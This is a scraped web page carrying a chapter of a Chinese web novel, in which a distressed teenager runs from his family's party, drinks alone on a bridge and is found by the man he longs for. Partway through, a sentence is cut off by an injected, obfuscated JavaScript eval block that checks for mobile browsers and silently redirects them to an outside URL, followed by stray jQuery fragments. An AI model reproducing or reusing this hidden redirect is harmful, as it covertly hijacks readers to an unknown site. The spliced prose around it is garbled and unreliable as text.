默认冷灰
24号文字
方正启体

25.第 25 章

作者:葵花猫本书字数:K更新时间:
    好冷。


    这是程桉跑出来时的第一感受。


    他的另一手里还拎着从程家顺出来的酒瓶,此刻指尖被冻到发红,几乎要握不住瓶颈。


    可是程桉知道自己不能松手,这是他仅有的防身工具了。


    万一程家的人再追上来……


    身后是张灯结彩、气氛喧腾的程家,前方是黑漆漆的路面。


    程桉的鼻头有些发酸。


    他扯紧袖口,头也不回地向前跑去。


    跑快一点,再跑快一点。


    不要被抓回去,要快点离开这个伤心地……


    脑袋好晕,程桉几乎已经不能辨别方向,也看不到前路。


    可是他还在机械性地抬腿,大步往前跑着,累到近乎脱水也不敢有丝毫地停留。


    身后的程家是吃人不吐骨头的恶鬼,一旦停下来就意味着危险。


    程桉的脑袋钝钝地发痛,额头已经溢满了汗水。


    视线一片模糊,他忽然被松掉的鞋带绊倒。


    已经跑到麻木的双腿有些僵硬,程桉反应不及,直接跌倒在地。


    “啊!”


    酒瓶脱手,被甩落在一旁绿化带里的草坪。


    程桉的膝盖重重着地,碰撞出一片闷响。手掌擦过柏油路面,一下子就被磨破了皮。


    那手心娇嫩的皮肤上被擦出了无数细小的口子,已经渗出了丝丝缕缕血色,稍微动一下就痛。


    倒伏在地上的少年,倒抽着气,慢慢泄出一阵压抑的哭声。


    “好痛……”


    程桉完全无法消化掉今晚发生的一切。成人礼被完全毁掉,本就已经让他濒临崩溃。


    排练了那么久,幻想了那么久,又鼓起勇气询问了贺先生一次又一次……


    程桉曾经真的以为,自己有机会能和贺君酌跳上那一首开场舞。


    可是现实却狠狠给了他一巴掌,不仅被父亲向整个上流社会都公开了他假少爷的身份,就连和贺君酌共舞的机会也要被那位真少爷夺去。


    甚至……甚至父亲已经将他明码标价地推进了火坑!


    一想起刚才那个砸门羞辱自己的坏人,程桉仍是忍不住地发抖。


    江风肆虐,小礼服不知道什么时候被他挣破了个大口子,正呼呼地向内灌着冷风,吹得程桉手脚发冷。


    但他只能忍着痛楚爬起来,继续向前跑。


    他害怕被父亲抓回去,害怕自己又会被推进谁的房间。


    快要跑到跨江大桥时,风骤然变大。


    身上那件破破烂烂的外套没能抵挡得住狂风,唰地一下从程桉身上剥落。


    那枚宝石袖扣从口袋中掉出来,向着江水的方向滚去。


    程桉慌忙睁大了双眼。


    他扑到岸边伸手去捞,却被岸边的水坑滑倒,眼睁睁看见那枚闪着光的宝石袖口坠入水中,再也没了踪影。


    那可是贺先生的袖扣!


    他要还给他的……


    程桉失魂落魄地望着袖扣掉下去的地方,眼眶瞬间泛红。


    没有丝毫地犹豫,程桉就把手伸进冰凉的江水中,一下一下地打捞着。


    可是只有冰凉的水流从指尖掠过。


    直到整个手掌都冻僵到难以蜷曲,程桉也没有捞上来任何东西。


    几缕脏兮兮的水草挂在了他的衣袖上,他却没有力气再去将它们拂掉。


    望着已经被江水泡到发皱的指尖,程桉忽然有些自嘲地笑了笑。


    他想起了自己在衣帽间的窗户边看到的情景,父亲向所有宾客介绍着身边的亲生儿子,那人是那样自信从容地向贺君酌走去,向男人做出了邀请的手势。


    原来自己和贺先生之间,只能像这样一次又一次地错过么……


    等到程桉踉跄着爬起来时,身上已经全部湿透了。


    掌心擦破处的血丝早已被水流冲洗掉,伤口的边缘正泛着白色。


    先前被磕到的膝盖已经变得红肿,在裤管下一阵阵地发烫。


    身侧的桥面上时不时有车辆驶过,带起呼啸的风声。


    江对岸的城市中心人声喧闹、灯光辉煌,有彩色的灯光映照在身前,在江水上浮浮绕绕。


    水面上清晰地倒映出少年狼狈不堪的模样。


    程桉垂着头,拖着笨重的步伐慢慢走上桥面。身上仅剩的衬衫和裤子正不断往下滴水,在他身后滴滴答答地留下一路痕迹。


    冷风一吹,他狠狠打了个喷嚏。


    程桉抱紧自己不断发抖的手臂,视线渐渐落在了手中的酒瓶。


    他还没有喝过酒。


    今夜发生的一切都太过荒唐,程桉一次次地受挫,太想要寻求解脱的办法。


    他下意识地想要放纵。


    “啵”的一声,瓶塞被用力拔出。


    醇厚的酒液在玻璃瓶中摇晃着,折射出晶莹的光彩。


    第一口酒喝下去时,程桉直接被呛出了眼泪。


    那股辛辣的味道遍布舌尖,很快弥漫在整个口腔中,让他无处可躲。


    程桉那张白嫩的小脸此刻已经皱起,被迫吞咽下那股奇怪发涩的味道。


    酒液沿着喉管向下流淌,所到之处点燃一片炙热。


    程桉苦着脸,硬生生忍着这种难言的感觉。


    时间忽然变得很漫长,不知道多久之后程桉才勉强能够睁开眼睛。


    有种饥饿感渐渐从身体里升腾而出,他抬手捂住了隐隐发痛的胃部。


    先前只顾着忙碌,他到现在都没吃上一口晚饭。


    酒水下肚,自欺欺人一般填充了他那空荡荡的胃部。


    他忽然怀念起学校那飘着蛋花丝的小馄饨的味道,有股妈妈的味道。还有那顿在贺氏酒店吃得几乎快要撑到的晚餐,那时候的自己是那样的容易满足。


    可是他也想到了宴会厅里,那本该由自己切开的生日蛋糕……


    眼角渐渐有泪水渗出,程桉狼狈地抬起手背擦擦眼眶。


    他捏着自己泛红的鼻尖,闭上眼睛,又一仰头对上了瓶口。


    咕嘟,咕嘟。


    半瓶烈酒喝下去,胃里像有把火在烧。程桉脸颊发烫,摇摇晃晃地继续走着。


    圆圆的月亮在头上高悬,笼罩着他小小的身影,把他脚下那个孤零零的倒影拖得很远很远。


    江对岸的嘈杂声、桥面上的车流声,周围的一切声音似乎都随着他喝下酒液的动作而消失了。


    耳畔隐隐约约浮现出一阵很渺远的歌声。


    那好像是一首童歌,是妈妈曾经为他唱过的一支摇篮曲。


    如果妈妈还在世的话,他是不是就不用活在程康世的苛责与打骂之下?


    如果他真的是她的孩子的话,是不是可以也可以像其他小朋友一样,在伤心难过的时候只需要撒撒娇,就能得到温柔的安慰和鼓励?


    如果他只是出生在一个普普通通的家庭的话……


    一切是不是都会不一样呢。


    程桉轻轻地扯了扯嘴角,在心底发出一声叹息。


    江风越来越大,眼泪尽数被风干在脸上,稍微


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15385513|168450||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眨一下眼都是一阵刺痛。


    喝到最后,他整个人都踩在了云端上,只知道晕乎乎地挪动脚步,但是每一步都好像落不到实处。


    身上突然变得忽冷忽热。他攥住了大桥上的栏杆,慢慢把发烫的脸蛋贴在上面。


    望着波涛汹涌的江面,程桉觉得自己好像出现了幻觉。


    闭上眼睛,他就看见了自己心心念念的那个身影,是贺君酌。


    在故障的电梯中,是他用高大的身躯护住自己,也是他在幽暗的巷口,将自己从真少爷的拳头下救出来,为自己涂抹药膏、安排住处。


    也是贺君酌,在自己情绪崩溃时,向自己递来一杯温水,告诉他哭出来也是没关系的……


    所有他先前苦苦压抑、竭力回避着的念想,全部在醉意的鼓动下冲上脑海。


    程桉近乎自我折磨一样死死地咬住嘴唇,不敢让哭腔泄露出来。


    他好怕。他害怕发出任何声音都会将那幻觉惊动,让那些画面消散。


    泪水汹涌间,程桉终于哽咽着叫喊出声。


    “不要走……求求你了,贺先生不要走……”


    “抱抱我吧……可以再抱抱我吗……”


    可是眼前的身影依旧是渐渐开始模糊。


    泪水彻底决堤。


    程桉再次举起酒瓶,像是不要命一般继续吞咽着酒水。


    那枚小巧的喉结不堪重负地上下滚动着,向主人孱弱的身体里源源不断地输送着烈酒。


    而那些来不及喝进去的酒水从红润的唇瓣中溢出,汇成细流打湿了衣领。


    程桉浑身散发着浓重的酒气,他伏在栏杆上,哭得一个劲儿地发抖。


    月亮好大。


    它静静地悬在江面上,映照着少年此生第一次喝酒时失魂落魄的神情。


    身上渐渐热了起来,可是程桉却还觉得不够。


    他仍旧觉得浑身发冷。


    他想要埋在男人的怀里狠狠地呼吸,他想要被那双强大的、带给他安全感的大手用力抱紧,他想念男人身上让人安心的味道。


    他好想念贺君酌那滚烫的怀抱……


    程桉哆嗦着手指,仰头喝下了酒瓶中最后一口酒。


    脑海中天旋地转,他再也握不住酒瓶,任它打碎在地。


    “贺先生……我想见到贺先生……”


    “贺先生再抱抱我吧……”


    程桉近乎是脱力一般倚靠在栏杆上,醉意迷蒙,望向江面的那双杏眼里满是水雾。


    幻觉中的男人像是终于听见了他的祈求和呼唤,那高大的身影终于再一次浮现,从眼前空茫一片的江面上向他缓缓走来。


    男人的怀抱是那样的滚烫。


    那熟悉的冷冽气息一点点将程桉包围,将他混沌的头脑完全侵占。


    那双从后面揽上自己腰身的有力手臂,似乎正在慢慢收紧。


    这触感太过真实。


    程桉迷迷糊糊之间,几乎觉得自己听见了男人的心跳声。


    那声音非常地清晰。


    一下一下,重重地落在程桉心上。


    他近乎是贪恋一般,深深呼吸着男人身上的味道,在那坚实的臂膀上轻轻蹭了蹭。


    他不敢转头,害怕惊动自己的幻想,害怕身后那个温暖的怀抱就这样消散。


    可是恍惚之间,程桉好像听见身后之人正唤着他的名字。


    男人那向来沉稳的声线,此刻却是急促而紧绷着。


    “程桉,别做傻事。”


    是贺君酌的声音。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)